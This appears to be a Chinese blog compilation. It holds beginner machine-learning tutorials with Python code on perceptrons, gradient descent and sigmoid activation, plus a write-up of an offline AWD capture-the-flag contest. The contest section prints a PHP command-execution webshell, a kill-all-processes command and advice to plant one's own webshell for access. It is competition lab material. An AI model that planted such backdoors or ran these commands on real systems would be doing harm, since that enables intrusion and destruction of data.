# 高维空间——面对多个输入的问题

之前我已经讨论了从多个方面观察事物的问题，最后使用增加隐藏层来实现。但至始至终，我都只考虑了一个输入的情况，这也是之前的所有结果均可以在一个平面直角坐标系中画出。而现在，我们来考虑有多个输入的情况，这时，得到的结果便不再是一个平面图像了。

自然，为了更直观的看到最终拟合的状态，我们需要画一个图。我单独封装了一个plot_utils.py，这样直接import，在需要时就可以直接调用其中的函数。

```
import matplotlib.pyplot as plt
from mpl_toolkits.mplot3d import Axes3D
import numpy as np

def show_scatter(xs,y):
	x = xs[:,0]
	z = xs[:,1]
	fig = plt.figure()
	ax = Axes3D(fig)
	ax.scatter(x, z, y)
	plt.show()

def show_surface(x,z,forward_propgation):
	x = np.arange(np.min(x),np.max(x),0.1)
	z = np.arange(np.min(z),np.max(z),0.1)
	x,z = np.meshgrid(x,z)
	y = forward_propgation(x,z)
	fig = plt.figure()
	ax = Axes3D(fig)
	ax.plot_surface(x, z, y, cmap='rainbow')
	plt.show()



def show_scatter_surface(xs,y,forward_propgation):
	x = xs[:,0]
	z = xs[:,1]
	fig = plt.figure()
	ax = Axes3D(fig)
	ax.scatter(x, z, y)

	x = np.arange(np.min(x),np.max(x),0.01)
	z = np.arange(np.min(z),np.max(z),0.01)
	x,z = np.meshgrid(x,z)
	y = forward_propgation(x,z)
	
	ax.plot_surface(x, z, y, cmap='rainbow')
	plt.show()
```

而这次，为了展现多个输入的情况，产生数据集的函数也有所不同。

```
import numpy as np

def get_beans(counts):
	xs = np.random.rand(counts,2)*2
	ys = np.zeros(counts)
	for i in range(counts):
		x = xs[i]
		if (x[0]-0.5*x[1]-0.1)>0:
			ys[i] = 1
	return xs,ys

def get_beans2(counts):
	xs = np.random.rand(counts,2)*2
	ys = np.zeros(counts)
	for i in range(counts):
		x = xs[i]
		if (np.power(x[0]-1,2)+np.power(x[1]-0.3,2))<0.5:
			ys[i] = 1


	return xs,ys
```

它会产生一个两列的数组。可以使用numpy库的特性分割开得到两组输入。

```
x1s = xs[:,0]#切割第0列形成一个新的数组
x2s = xs[:,1]
```

再将前向传播封装为一个函数：

```
def forward(x1s,x2s):
	z = w1*x1s + w2*x2s + b
	a = 1/(1+np.exp(-z))
	return a
```

最后，依旧利用反向传播与梯度下降算法进行学习拟合。

```
for _ in range(500):
	for i in range(m):
		x = xs[i]
		y = ys[i]
		x1 = x[0]
		x2 = x[1]

		a = forward(x1,x2)

		e = (y-a)**2

		deda = -2*(y-a)
		dadz = a*(1-a)
		dzdw1 = x1
		dzdw2 = x2
		dzdb = 1

		dedw1 = deda*dadz*dzdw1
		dedw2 = deda*dadz*dzdw2
		dedb = deda*dadz*dzdb

		alpha = 0.01
		w1 = w1 - alpha*dedw1
		w2 = w2 - alpha*dedw2
		b = b - alpha*dedb
```

最后我们可以得到这样的结果：


![屏幕截图 2022-01-05 152155.png](https://www.chinfo.top/static/img/cefd158ce61ff2a5674a2a5be1b57658.%E5%B1%8F%E5%B9%95%E6%88%AA%E5%9B%BE%202022-01-05%20152155.png)

如果我们从另一个角度来看的话，它就和添加了激活函数后的最简单的Rosenblatt感知器模型得到的结果类似：


![屏幕截图 2022-01-05 152410.png](https://www.chinfo.top/static/img/fe0477bbb4bba27057c9e53ed172d551.%E5%B1%8F%E5%B9%95%E6%88%AA%E5%9B%BE%202022-01-05%20152410.png)

输入数据的增加会导致维度增加，但最为三维生物我们无法具象化三维以上的模型，但对于计算机来说，增加一个输入就是增加一维数组，这样高维空间的学习与计算对它来说也可以实现

高维空间——面对多个输入的问题

# 激活函数

之前对于一个函数的精确拟合的方式，对于一个智能体来说比较罕见，我们更多的是判断一个一个东西对，或者不对，最多再多一个不确定。这样的判断方式自然就和先前的拟合函数的方法相差甚远。为了达到这样的效果，我们便使用激活函数对之前的预测模型进行分类。而到此，我们才真正接触到了完整的Rosenblatt感知器模型。

为了进行分类，我们自然一开始就想到分段函数。但是这种函数在代码的层面上比较难以实现，所以，我们便引入了Logistic函数。


![屏幕截图 2022-01-04 143240.png](https://www.chinfo.top/static/img/8a43c9d66171e271ab6e0febc6ff8501.%E5%B1%8F%E5%B9%95%E6%88%AA%E5%9B%BE%202022-01-04%20143240.png)

当然，我们一般取它的标准形式，即：


![屏幕截图 2022-01-04 143445.png](https://www.chinfo.top/static/img/1bc3db3f3cf8f3ea253691a49dd75422.%E5%B1%8F%E5%B9%95%E6%88%AA%E5%9B%BE%202022-01-04%20143445.png)

对于这样的函数我们可以使用nupmy库的exp()函数来实现：1/(1+np.exp(-y))。

这样我们便可以使用它来对预测结果进行分类了

利用复合函数求导的知识，对加入了激活函数的预测函数求偏导数。

```
                deda = -2*(y-a)
		dadz = a*(1-a)
		dzdw = x

		dedw = deda*dadz*dzdw
		dzdb = 1
		dedb = deda*dadz*dzdb
```

再把这段代码加入之前的代码，在进行一些修改，我们可以得到最后的源码：

```
import dataset
import matplotlib.pyplot as plt
import numpy as np
xs, ys = dataset.get_beans(100)


print(xs)
print(ys)


plt.title("STF", fontsize=12)
plt.xlabel("B")
plt.ylabel("T")

plt.scatter(xs, ys)

w = 0.1
b = 0.1
y_pre = w*xs + b
plt.plot(xs, y_pre)
plt.show()

for _ in range(5000):
	for i in range(100):
		x = xs[i]
		y = ys[i]
		
		z = w*x + b
		a = 1/(1+np.exp(-z))
		e = (y-a)**2


		deda = -2*(y-a)
		dadz = a*(1-a)
		dzdw = x

		dedw = deda*dadz*dzdw
		dzdb = 1
		dedb = deda*dadz*dzdb

		alpha = 0.05

		w = w - alpha*dedw
		b = b - alpha*dedb

	if _%100 == 0:
		plt.clf()
		plt.scatter(xs, ys)
		z = w*xs + b
		a = 1/(1+np.exp(-z))
		plt.xlim(0,1)
		plt.ylim(0,1.2)
		plt.plot(xs, a)
		plt.pause(0.01)#暂停0.01秒
```

运行后可以观察到：

![激活函数.gif](https://www.chinfo.top/static/img/a847a7f1f0916893e83264169bc7e266.%E6%BF%80%E6%B4%BB%E5%87%BD%E6%95%B0.gif)

很好的对两类数据进行了分类。

激活函数

# 简单的梯度下降算法实现

## 二维梯度下降

之前使用的算法是一次性计算出结果，在样本数量比较少的情况下还好，在样本较多的情况下，机器的算力可能不足以快速的计算出结果，这时候就需要使用梯度下降算法，我们先从简单的二维开始，即拟合y=wx。

首先依旧是获取散点，绘制坐标系，预设一个w值为0.1

```
import dataset
import matplotlib.pyplot as plt
import numpy as np
xs, ys = dataset.get_beans(100)


print(xs)
print(ys)


plt.title("STF", fontsize=12)
plt.xlabel("B")
plt.ylabel("T")

plt.scatter(xs, ys)

w = 0.1
y_pre = w*xs
plt.plot(xs, y_pre)
plt.show()
```

这次写的是随机梯度下降算法，它的原理简单来说就是计算代价函数（w，e）在某一点的导数，用先前的w值减去学习率*斜率。因为在最低点右边时，斜率大于零，减去后向最低点靠拢，在左边时同理。学习率alpha的功能也是控制震荡幅度。这就是梯度下降。而随机指的是每次随机取样本中的一个数据验证拟合度，以避免在大量样本数时算力不足的情况

它的代码实现很简单，我在这里使用plt.clf()函数和plt.pause()函数相结合来实现动态图像，使拟合过程更加生动形象。

```
for _ in range(100):
	for i in range(100):
		x = xs[i]
		y = ys[i]
		k = 2*(x**2)*w + (-2*x*y)
		alpha = 0.05
		w = w - alpha*k
		plt.clf()
		plt.scatter(xs, ys)
		y_pre = w*xs
		plt.xlim(0,1)
		plt.ylim(0,1.2)
		plt.plot(xs, y_pre)
		plt.pause(0.01)#暂停0.01秒
```


![图像.gif](https://www.chinfo.top/static/img/7212271d8c93dcb28a72c02270f3af1a.%E5%9B%BE%E5%83%8F.gif)

这样就实现了一个二维的随机梯度下降

## 三维梯度下降

前面实现的二维梯度下降的算法比简单，但是不是所有的图像都会经过坐标原点，这时候w与e的函数便不再适用。完全的一次函数y=wx+b需要我们绘制w，e，b的三维代价函数，来求这个三维图像的最低点，这时候，我们便需要使用三维梯度下降。

首先我们先来绘制三维的代价函数图像，可以使用matplotlib中的Axed3D来实现。

```
import dataset
import matplotlib.pyplot as plt
import numpy as np
from mpl_toolkits.mplot3d import Axes3D

m=100
xs, ys = dataset.get_beans(m)

plt.title("STF", fontsize=12)
plt.xlabel("B")
plt.ylabel("T")
plt.xlim(0,1)
plt.ylim(0,1.5)

plt.scatter(xs, ys)

w = 0.1
b = 0.1
y_pre = w*xs + b

plt.plot(xs,y_pre)


plt.show()

fig = plt.figure()
ax = Axes3D(fig)
ax.set_zlim(0,2)

ws = np.arange(-1,2,0.1)
bs = np.arange(-2,2,0.04)

for b in bs:
	es = []
	for w in ws:
		y_pre = w*xs + b
		e = np.sum((ys-y_pre)**2)*(1/m)
		es.append(e)
	ax.plot(ws,es,b,zdir='y')
plt.show()
```


![屏幕截图 2022-01-03 135457.png](https://www.chinfo.top/static/img/d931b2935a9f0be560e7382da1329ce4.%E5%B1%8F%E5%B9%95%E6%88%AA%E5%9B%BE%202022-01-03%20135457.png)

我们可以清晰地看到它有一个最低点，接下来我们就使用梯度下降算法得到它。

```
		dw = 2*(x**2)*w + 2*x*b - 2*x*y
		db = 2*b + 2*x*w -2*y
		alpha = 0.05
		w = w - alpha*dw
		b = b - alpha*db
```

分别求得w和b方向上的斜率，把它们合到一起便实现了一次三维梯度下降

接下来就再用动态图像来观察三位梯度下降的过程，完整代码如下：

```
import dataset
import matplotlib.pyplot as plt
import numpy as np
xs, ys = dataset.get_beans(100)


print(xs)
print(ys)


plt.title("STF", fontsize=12)
plt.xlabel("B")
plt.ylabel("T")

plt.scatter(xs, ys)

w = 0.1
b = 0.1
y_pre = w*xs + b
plt.plot(xs, y_pre)
plt.show()

for _ in range(500):
	for i in range(100):
		x = xs[i]
		y = ys[i]
		dw = 2*(x**2)*w + 2*x*b - 2*x*y
		db = 2*b + 2*x*w -2*y
		alpha = 0.01
		w = w - alpha*dw
		b = b - alpha*db


	plt.clf()
	plt.scatter(xs, ys)
	y_pre = w*xs + b
	plt.xlim(0,1)
	plt.ylim(0,1.2)
	plt.plot(xs, y_pre)
	plt.pause(0.01)#暂停0.01秒
```

最后能得到这样的效果


![GIF.gif](https://www.chinfo.top/static/img/ed199a1be5ffe0465056de3f8c7dfef6.GIF.gif)

简单的梯度下降算法实现

# 简单的Rosenblatt感知器与二维方差代价函数

## 简单的Rosenblatt感知器

为了使得到的数据更加直观，我使用了python的matplotlib绘制图像

首先写一个可以获取散点的函数

```
import numpy as np

def get_beans(counts):
	xs = np.random.rand(counts)
	xs = np.sort(xs)
	ys = [1.2*x+np.random.rand()/10 for x in xs]
	return xs,ys
```

调用它并使其在坐标系中打印出来

```
import dataset
from matplotlib import pyplot as plt
xs,ys=dataset.get_beans(100)
print(xs)
print(ys)


plt.title("STF",fontsize=12)
plt.xlabel("B")
plt.ylabel("T")
plt.scatter(xs,ys)
```

我们可以得到这样的一个图像


![屏幕截图 2022-01-02 125749.png](https://www.chinfo.top/static/img/1b32be985301a8239890f3a5cb9d28de.%E5%B1%8F%E5%B9%95%E6%88%AA%E5%9B%BE%202022-01-02%20125749.png)

之后任意设定一个权重值w为0.1

用标准答案减去该参数计算得到的结果得到一个误差，用原来的w加上alpha*误差*B（乘B是为了应对B为负数时，可能导致结果正好相反的情况，学习率alpha是为了控制调整的幅度，以免幅度过大错过最佳点）作为新的w，再一次进行运算。通过误差修正参数，这就是Rosenblatt感知器的学习过程。当然，这个公式在数学上是收敛的，Novikoff（1962）证明如果[训练集](https://zh.wikipedia.org/wiki/训练集)是线性分隔的，那么感知器算法可以在有限次迭代后收敛，然而，如果训练集不是线性分隔的，那么这个算法则不能确保会收敛。以下代码简单的实现了 Rosenblatt感知器的学习过程 。

```
import dataset
import numpy
from matplotlib import pyplot as plt
xs, ys = dataset.get_beans(100)
print(xs)
print(ys)


plt.title("STF", fontsize=12)
plt.xlabel("B")
plt.ylabel("T")
plt.scatter(xs, ys)

w = 0.5

for m in range(100):
	for i in range(100):
		x = xs[i]
		y = ys[i]
		y_pre = w * x
		e = y - y_pre
		alpha = 0.05
		w = w + alpha * e * x
y_pre = w * xs
print(y_pre)
plt.plot(xs, y_pre)
plt.show()
```

这样，运行后就可以得到一条与散点拟合的线


![屏幕截图 2022-01-02 131900.png](https://www.chinfo.top/static/img/57454e6b16dd989aaefb498846557027.%E5%B1%8F%E5%B9%95%E6%88%AA%E5%9B%BE%202022-01-02%20131900.png)

之后任意设定一个权重值w为0.1

用标准答案减去该参数计算得到的结果得到一个误差，用原来的w加上alpha*误差*B（乘B是为了应对B为负数时，可能导致结果正好相反的情况，学习率alpha是为了控制调整的幅度，以免幅度过大错过最佳点）作为新的w，再一次进行运算。通过误差修正参数，这就是Rosenblatt感知器的学习过程。当然，这个公式在数学上是收敛的，Novikoff（1962）证明如果[训练集](https://zh.wikipedia.org/wiki/训练集)是线性分隔的，那么感知器算法可以在有限次迭代后收敛，然而，如果训练集不是线性分隔的，那么这个算法则不能确保会收敛。以下代码简单的实现了 Rosenblatt感知器的学习过程 。

```
import dataset
import numpy
from matplotlib import pyplot as plt
xs, ys = dataset.get_beans(100)
print(xs)
print(ys)


plt.title("STF", fontsize=12)
plt.xlabel("B")
plt.ylabel("T")
plt.scatter(xs, ys)

w = 0.5

for m in range(100):
	for i in range(100):
		x = xs[i]
		y = ys[i]
		y_pre = w * x
		e = y - y_pre
		alpha = 0.05
		w = w + alpha * e * x
y_pre = w * xs
print(y_pre)
plt.plot(xs, y_pre)
plt.show()
```

这样，运行后就可以得到一条与散点拟合的线





## 方差代价函数

 Rosenblatt感知器 其本身在现代神经网络研究中已经并不常用了，但我们依旧能从其中学习到参数的自适应调整是一个人工神经元的精髓。

我们可以使用方差代价函数来评估误差从而达到参数的自适应调整。此时我们再次随便设定一个w，用统计到的数据去评估w的准确性，即回归分析。而我们可以使用最小二乘法来实现。我们将w作为自变量，误差e作为因变量，得到一个新的函数，即代价函数。他展现出当w取不同值时对于环境中问题数据进行预测时产生的误差e。因为他是一个二次函数，我们就可以利用它的最低点的w（此时e最小）带回预测函数，以此实现对参数w的自适应调整。

在之前代码的基础上进行修改，我们可以得到下面的代码

```
import dataset
import matplotlib.pyplot as plt
import numpy as np
xs, ys = dataset.get_beans(100)


print(xs)
print(ys)


plt.title("STF", fontsize=12)
plt.xlabel("B")
plt.ylabel("T")
plt.scatter(xs, ys)

w = 0.1 # 可以任意
y_pre = w*xs
plt.plot(xs, y_pre)
plt.show()

es = (ys-y_pre)**2
 
sum_e = np.sum(es)

sum_e = (1/100)*sum_e

print(sum_e)

ws = np.arange(0,3,0.1)
# 从0到3每次增加0.1

es = []
for w in ws:
	y_pre = w*xs
	e = (1/100)*np.sum(ys-y_pre)**2
	es.append(e)


# 设定代价函数坐标系
plt.title("cost", fontsize=12)
plt.xlabel("w")
plt.ylabel("e")
plt.plot(ws,es)
plt.show()

w_min = np.sum(xs*ys)/np.sum(xs*xs)
print("eminw:"+str(w_min))
y_pre = w_min*xs
plt.title("STF", fontsize=12)
plt.xlabel("B")
plt.ylabel("T")
plt.scatter(xs, ys)


plt.plot(xs, y_pre)
plt.show()
```

运行后得到三幅图

![屏幕截图 2022-01-02 134802.png](https://www.chinfo.top/static/img/65b97f62288e823ec1299e08f7c370e9.%E5%B1%8F%E5%B9%95%E6%88%AA%E5%9B%BE%202022-01-02%20134802.png)


![屏幕截图 2022-01-02 134821.png](https://www.chinfo.top/static/img/6c35918493305e74c12e65c64ddf56e3.%E5%B1%8F%E5%B9%95%E6%88%AA%E5%9B%BE%202022-01-02%20134821.png)

![屏幕截图 2022-01-02 134835.png](https://www.chinfo.top/static/img/ef278d14b73accc2db93f301c54def98.%E5%B1%8F%E5%B9%95%E6%88%AA%E5%9B%BE%202022-01-02%20134835.png)




简单的Rosenblatt感知器与二维方差代价函数

# 记第一次线下awd（PHP部分）

## PHP攻击

第一次打线下awd多少还是有点紧张，早早起床就去了安洵公司。下午开始awd。原以为准备的万无一失可惜刚开打就遇到了严重的状况。

第一步当然是备份源码和数据库，可是我操作失误直接在根目录开始备份（cd /），导致备份了整个站，光备份就花了10分钟，就是这十分钟，我们的php都被打烂了。

```
tar -zcvf /home/ctf/bak.tar.gz /var/www/html（源码）
mysqldump -u root -p --databases xxx > /home/ctf/db.sql（数据库）
```

备份完源码，自然是下载下来扔进d盾里扫自带的漏洞。这时候我才发现我并不知道下载的命令。最后还是装了个FinalShell才把源码下载下来。这时候已经不知道掉了多少分了。

终于放进了d盾，扫出来几个自带的洞。


![屏幕截图-2021-12-11-205224.png](https://www.chinfo.top/static/img/72026150893a48cd37c60c138bc032ed.%E5%B1%8F%E5%B9%95%E6%88%AA%E5%9B%BE-2021-12-11-205224.png)

而第二个直接就是一个shell.php

```
<?php
if($_POST[1]) {
    system($_POST['1']);
}
```

我们可以直接get一个?1= cat/flag直接出flag。因为之前浪费了太多时间，我们发现的时候这个基本被删的差不多了。

实力至此，找不出别的攻击手段了，最开始准备的脚本没一个能用的。

## PHP防御

我主要负责防守部分，全程都在和check和不死马作斗争。

最基本的当然是用改密码和上waf。

```
linux用户密码修改：password
mysql数据库密码修改：
set password for root@localhost = password('chinfo');
或
use mysql;
update user set password=password('chinfo') where user='root';
flush privileges;
```

上waf用 FinalShell 直接拖进 /var/www/html 就行，但确实感觉没啥用，像是个心理安慰。

这里来一个推荐的waf

```
awd-watchbird https://github.com/leohearts/awd-watchbird/
```

然后就是把d盾扫出来的那些特别明显的后门删掉。就比如上面的shell.php。

之后可以选择全局搜索system或者eval等危险函数人工审计。

在比赛过程中，PHP被大佬找到了一个文件上传漏洞，直接给所有人传了一个删站md5不死马，也就是这个马，一直让我们被checkdown到比赛结束。

赛后问师傅知道这个马可以用以下命令杀掉

```
kill -9 -1 && rm webshell.php
```

在比赛过程中，我作为防守队员，时常需要对文件进行增删查改，这就导致我会经常遇到权限不够的情况，而我又不会提权。这时候给自己的目录传一个webshell，再用蚁剑连它就可以巧妙地解决这个问题。

最后就是流量监控。我们也是用这种方式利用别人打我们的站的payload反打，这个比用自带的后门捡漏要来的有效得多。